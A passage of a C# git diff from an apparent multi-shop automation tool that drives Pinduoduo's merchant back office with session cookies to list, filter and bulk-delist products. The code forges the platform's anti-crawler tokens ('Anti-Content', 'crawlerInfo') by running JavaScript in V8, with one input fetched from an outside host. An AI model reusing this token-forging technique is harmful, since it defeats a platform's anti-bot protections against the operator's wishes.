(allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (IsGoodCount && count >= GoodCount) + break; + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + //GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + //html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (IsGoodCount && count >= GoodCount) + break; + + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + int fav_cnt = BaseRegex.GetIntJson(ref list, "fav_cnt"); + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ClearProductGroup.selTime) + { + DateTime create = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddSeconds(BaseRegex.GetIntJson(ref list, "created_at")); + string createTime = create.ToString("yyyy-MM-dd 00:00:00"); + System.TimeSpan t3 = ClearProductGroup.selDateTime - Convert.ToDateTime(createTime); + double getDay = t3.TotalDays; + if (ClearProductGroup.selStart&&getDay < 0) + continue; + if (!ClearProductGroup.selStart && getDay >= 0) + continue; + } + if (IsNoSold && p.SaleCount > 0) + { + // 跳过有销量商品 + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + if (IsNoColl && fav_cnt > 0) + { + // 跳过收藏商品 + LogSave.Add(Name, "跳过收藏商品 " + p.GoodsId); + continue; + } + int created_at = BaseRegex.GetIntJson(ref list, "created_at"); + DateTime dt = BaseClass.StampToDateTime(created_at); + //if (IsNoDays && p.GoodsId > minPid) + // continue; + if (IsNoDays && DateTime.Now.AddDays(-DaysCount) < dt) + { + // 跳过指定日期内商品 + continue; + } + var pid = pidList.Find(id => id == p.GoodsId); + if (pid > 0) + { + // 跳过有访客商品 + continue; + } + + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + count++; + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + //DelGetGroup(); + //DelOrder(); + //if (NoVisit) + // GetOnOrOff(); + } + public void GetDelAllGroupOnline() + { + DelGetGroup(); + DelOrder(); + bool visflag = true; + if (IsNoVisit) + visflag = GetOnOrOff(); + if (!visflag) + { + LogSave.Add(Name, "如果流量读取失败,则不清理无流量, 提示流量数据读取失败"); + return; + } + count = 0; + if (IsNoDays) + minPid = retCheckDaysPid(); + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"is_onsale\":" + (IsOnline ? 1 : 0) + ",\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + if (MinPrice > 0 && IsPrice) + { + if (MaxPrice == 0) + MaxPrice = 1000000000; + data = "{\"order_by\":\"id:asc\",\"is_onsale\":" + (IsOnline ? 1 : 0) + ",\"sku_price_range\":[" + MinPrice * 100 + "," + MaxPrice * 100 + "],\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + } + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());/// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (IsGoodCount && count >= GoodCount) + break; + if (count > 1100) + break; + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (count > 1100) + break; + if (IsGoodCount && count >= GoodCount) + break; + + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.CatId = PinduoduoCatList.GetNewCat3(p.CatId); + p.SaleCount = BaseRegex.GetIntJson(ref list, "sold_quantity"); + p.ShopName = Shop.ShopName; + + string price = BaseRegex.GetMatchRegexString(ref list, @"""sku_group_price"":\[([\d]+),"); + if (string.IsNullOrEmpty(price)) + price = "1000"; + p.Price = int.Parse(price) / 100m; + if (PinduoduoCatList.CatIds.ContainsKey(p.CatId)) + { + var c = PinduoduoCatList.CatIds[p.CatId]; + p.Cat1 = c.cat1; + p.Cat2 = c.cat2; + p.Cat3 = c.cat3; + p.Cat4 = c.cat4; + p.MainCatId = c.main_cat_id; + } + else + { + + } + var mc = BaseRegex.GetMatchRegex(ref list, @"""is_onsale"":([\w\W]+?),"); + if (mc == null || mc.Count <= 0) continue; + p.OffLine = !bool.Parse(mc[0].Groups[1].Value); + if (ClearProductGroup.selTime) + { + DateTime create = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddSeconds(BaseRegex.GetIntJson(ref list, "created_at")); + string createTime = create.ToString("yyyy-MM-dd 00:00:00"); + System.TimeSpan t3 = ClearProductGroup.selDateTime - Convert.ToDateTime(createTime); + double getDay = t3.TotalDays; + if (ClearProductGroup.selStart && getDay < 0) + continue; + if (!ClearProductGroup.selStart && getDay >= 0) + continue; + } + if (IsNoSold && p.SaleCount > 0) + { + // 跳过有销量商品 + LogSave.Add(Name, "跳过销量商品 " + p.GoodsId); + continue; + } + int created_at = BaseRegex.GetIntJson(ref list, "created_at"); + DateTime dt = BaseClass.StampToDateTime(created_at); + //if (IsNoDays && p.GoodsId > minPid) + // continue; + if (IsNoDays && DateTime.Now.AddDays(-DaysCount) < dt) + { + // 跳过指定日期内商品 + continue; + } + var pid = pidList.Find(id => id == p.GoodsId); + if (pid > 0) + { + // 跳过有访客商品 + continue; + } + + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + count++; + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + //DelGetGroup(); + //DelOrder(); + //if (NoVisit) + // GetOnOrOff(); + } + public long retCheckDaysPid() + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get_days_id"; + string data = "days=" + ClearProductGroup.DaysCount + "&" + UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + long id = 0; + long.TryParse(html, out id); + return id; + } + public void DelGetGroup() + { + GetGroupOrder(); + GetGroupOrderWait(); + } + + public List pidList = new List(); + #region 获取待拼单的订单 + /// + /// 获取待拼单的订单 + /// + public void GetGroupOrder() + { + string url = "https://mms.pinduoduo.com/mars/shop/queryMallWaitGroupOrders";// "https://mms.pinduoduo.com/mars/shop/queryMallExpiredSoonOrders"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"pageNo\":1,\"pageSize\":10,\"sort\":\"asc\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"success\":true")) + return; + + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + if (!list.Contains("goods_id")) + continue; + long Id = BaseRegex.GetLongJson(ref list, "goods_id"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "订单 " + Id); + } + + //var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == Id); + //if (pt != null) + //{ + // Shop.OnOrOffProduct.Remove(pt); + // LogSave.Add(Name, "移除有订单 " + pt.GoodsId); + //} + Thread.Sleep(100); + } + } + + public void GetGroupOrderWait() + { + string Cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/chats/ungroupOrders?pageNo=1&pageSize=20"; + string refere = "https://mms.pinduoduo.com/assets/chats/dist/indexMain.html"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"orders\"")) + return; + int all = BaseRegex.GetIntJson(ref html, "total"); + int page = all / 20 + (all % 20 > 0 ? 1 : 0); + + for (int j = 0; j < page; j++) + { + if (j != 0) + { + string urlx = url.Replace("pageNo=1", "pageNo=" + (j + 1)); + html = GetPostTaobaoHtml.UploadTaobao(urlx, refere, true, Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("\"orders\"")) + return; + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{.*?\}([^\}]+?)\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + if (!list.Contains("goodsId")) + continue; + long Id = BaseRegex.GetLongJson(ref list, "goodsId"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "订单 " + Id); + } + //var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == Id); + //if (pt != null) + //{ + // Shop.OnOrOffProduct.Remove(pt); + // LogSave.Add(Name, "移除有订单 " + pt.GoodsId); + //} + Thread.Sleep(100); + } + } + } + + #endregion + public void DelOrder() + { + //30天订单量 + string url = "https://mms.pinduoduo.com/mars/shop/recentOrderList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + + int confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00"))); + int confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59"))); + int isLucky = -1; + string afterSaleType = "1"; + int pageNumber = 1; + int remarkStatus = -1; + int pageSize = 50; + string source = "MMS"; + string data = "{\"orderType\":0,\"afterSaleType\":" + afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime + + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}"; + //data = "{\"confirmStartTime\":" + confirmStartTime + + // ",\"confirmEndTime\":" + confirmEndTime + + // ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType + + // "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus + + // ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}"; + + //第一页匹配结果 + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + //30天订单量 + int allCount = BaseRegex.GetIntJson(ref html, "totalItemNum"); + + int page = allCount / 50 + (allCount % 50 > 0 ? 1 : 0); + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#pageNumber#", (i + 1).ToString()), CpsSetAllGoods.getAnti0aon()); + //GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#pageNumber#", (i + 1).ToString()), Shop.Cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long Id = BaseRegex.GetLongJson(ref list, "goods_id"); + var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == Id); + if (pt != null) + { + Shop.OnOrOffProduct.Remove(pt); + LogSave.Add(Name, "移除有订单 " + pt.GoodsId); + } + Thread.Sleep(100); + } + } + } + public bool GetOnOrOff() + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsDetailVOList"; + string refere = "https://mms.pinduoduo.com/sycm/goods_effect"; + string data = "{\"goodsId\":\"\",\"cate1Id\":\"\",\"cate2Id\":\"\",\"cate3Id\":\"\",\"startDate\":\"" + BaseClass.GetServerTimeString().AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"sortCol\":0,\"sortType\":1,\"pageNum\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codex + "\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + if (!html.Contains("\"success\":true")) + return false; + int allCount = BaseRegex.GetIntJson(ref html, "totalNum"); + int page = allCount / 50 + (allCount % 50 > 0 ? 1 : 0); + + for (int i = 1; i <= page; i++) + { + strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + if (i != 1) + { + data = "{\"goodsId\":\"\",\"cate1Id\":\"\",\"cate2Id\":\"\",\"cate3Id\":\"\",\"startDate\":\"" + BaseClass.GetServerTimeString().AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\",\"queryType\":2,\"sortCol\":0,\"sortType\":1,\"pageNum\":" + i + ",\"pageSize\":50,\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long Id = BaseRegex.GetLongJson(ref list, "goodsId"); + if (!pidList.Contains(Id)) + { + pidList.Add(Id); + LogSave.Add(Name, "流量" + Id); + } + + //var pt = Shop.OnOrOffProduct.Find(op => op != null && op.GoodsId == Id); + //if (pt != null) + //{ + // Shop.OnOrOffProduct.Remove(pt); + // LogSave.Add(Name, "移除有流量 " + pt.GoodsId); + //} + + } + LogSave.Add(Name, "获取 " + Shop.ShopName + " 流量:" + i); + Thread.Sleep(100); + } + return true; + } + + public void DownInvalid() + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.GetInvalidProductList(); + string[] ids=null; + if (!string.IsNullOrEmpty(delIds)) + { + ids = delIds.Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries); + } + if (PinduoduoApiGetProduct.Product.ContainsKey(Shop.ShopName)) + { + List ps = PinduoduoApiGetProduct.Product[Shop.ShopName]; + for (int i = 0; i < ps.Count; i++) + { + if (ids!=null&&ids.Length > 0) + { + bool ishas = false; + for (int j = 0; j < ids.Length; j++) + { + if (ids[j]==ps[i].Id.ToString()) + { + ishas = true; + break; + } + } + if (!ishas) + continue; + } + TaobaoProductBase pro = new TaobaoProductBase(); + pro.GoodsId = ps[i].Id; + pro.Titlte = ps[i].Title; + pro.FromId = ps[i].UpId; + pro.Price = ps[i].Price; + pro.CatId = ps[i].CatId; + pro.MainCatId = ps[i].MainCatId; + pro.SaleCount = ps[i].SoldCount; + Shop.OnOrOffProduct.Add(pro); + } + Shop.ClearNoVisitShop.goodsCount = ps.Count; + } + + string html = ""; + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + if (IsGoodCount && OffCount >= GoodCount) + break; + html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + OffCount++; + Shop.ClearNoVisitShop.offCount = OffCount; + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个"; + LogSave.Add(Name, "下架第" + OffCount + "个商品"+ Shop.OnOrOffProduct[j].GoodsId); + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + InvalidShopTemp.Add(Shop); + break; + } + InvalidShopTemp.Add(Shop); + } + Thread.Sleep(3 * 1000); + } + if (html != null && html.Contains("error_msg") && html.Contains("使用MMS后台做此")) + { + Shop.ClearNoVisitShop.goodStatus = "平台限制,请使用店铺后台MMS操作"; + InvalidShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个(完成)"; + InvalidShopTemp.Add(Shop); + LogSave.Add(Name, "下架完成"); + return; + } + } + public class ClearProductControl + { + public string Name; + public ShopChatBase Shop; + public int ShopThreadCount = 5; + public static bool isOnline = false; + public string delTitle; + public string delIds; + public ClearProductControl(string name) + { + Name = name; + } + public void GetDelGroupProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = isOnline; + Threadx.ThreadListWait(ref ts, new Thread(p.Delete), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetDelUpProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.DeleteUp), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetDelGlideProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.DeleteGlide), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + + public void GetDelDownProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = false; + Threadx.ThreadListWait(ref ts, new Thread(p.DeleteDown), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetRestoreGoodProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.GetRestoreProduct), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetDelKeyWordGoodOnline() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new GetProductOnlineClass(Name, shop); + p.ReplaceModel = true; + p.isOnline = true; + p.delTitle = delTitle; + Threadx.ThreadListWait(ref ts, new Thread(p.GetDelKeyWordDel), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + + public void GetDelNoSprProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.DeleteNoSpr), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + + } + public void GetDelGroupOffProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.Down), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetOffProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = true; + Threadx.ThreadListWait(ref ts, new Thread(p.Down), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetInvaildOffProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = true; + p.delIds = delIds; + Threadx.ThreadListWait(ref ts, new Thread(p.DownInvalid), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetOnProduct() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + p.IsOnline = false; + Threadx.ThreadListWait(ref ts, new Thread(p.Up), ShopThreadCount); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public void GetShopProductCount() + { + LogSave.Add(Name, "开始获取店铺商品数量"); + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectClearDown || !shop.Showed) + continue; + var p = new ClearProductGroup(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetAllOnlineCount), ShopThreadCount); + Thread.Sleep(500); + Threadx.ThreadListWait(ref ts, new Thread(p.GetRestoreProductCount), ShopThreadCount); + Thread.Sleep(500); + } + Threadx.ThreadListWait(ref ts); + LogSave.Add(Name, "店铺商品数量获取完成"); + } + } +} \ No newline at end of file diff --git a/Work/ManageClass/CpsShopNew.cs b/Work/ManageClass/CpsShopNew.cs new file mode 100644 index 0000000..863eaa2 --- /dev/null +++ b/Work/ManageClass/CpsShopNew.cs @@ -0,0 +1,180 @@ +/* + * 纯API设置进宝 + * 肖俊 + * 2019-7-31 + */ + +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Management.Instrumentation; +using System.Net; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using AllBase; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class CpsShopNew + { + public static string Name; + public static List ShopTemp = new List(); + public static int ThreadCount = 3; + public static bool IsUseProxy = false; + public static bool IsdayProduct = false; + public static int dayProduct = 0; + /// + /// 是否正在模拟请求并休眠,如果是,将在SleepSim方法中继续休眠,拉开模拟请求间隔 + /// + private static bool isSleepSim = false; + + + public static bool ByCouponPercent = false; + public static int ShopPerCent = 0, ShopPercentAll = 0, + CouponAllCount = 0, + CouponCount = 0, + ConponDays = 0, + SalsPrice1 = 0, + SalsPrice11 = 0, + CouponPrice1 = 0, + SalsPrice2 = 0, + SalsPrice22 = 0, + CouponPrice2 = 0, + SalsPrice3 = 0, + SalsPrice33 = 0, + CouponPrice3 = 0, CouponPercent = 0; + } + + public class CpsSetAllGoods + { + public static int discount; + public static int day; + public static int initQuantity; + public static int userLimit; + public static int Amount; + public static string adslName; + public static string adslPassWord; + public static bool adslflag = false; + public static List cpsPriceRangeCoupList = new List(); + public static bool isStop = false; + + private AdslHelper adsl = null; + private DateTime lasttime = DateTime.MinValue; + + public static string getAnti0aon() + { + string anti = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao); + anti = jsEngine.CallFunction("get_anti", "").ToString(); + try + { anti = "0ao" + anti.Substring(3); } + catch { } + } + return anti; + } + + public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null) + { + string responseText = ""; + HttpWebResponse response = null; + + try + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Accept = "application/json"; + //request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr"); + request.Headers.Add("Anti-Content", antiContent); + //request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 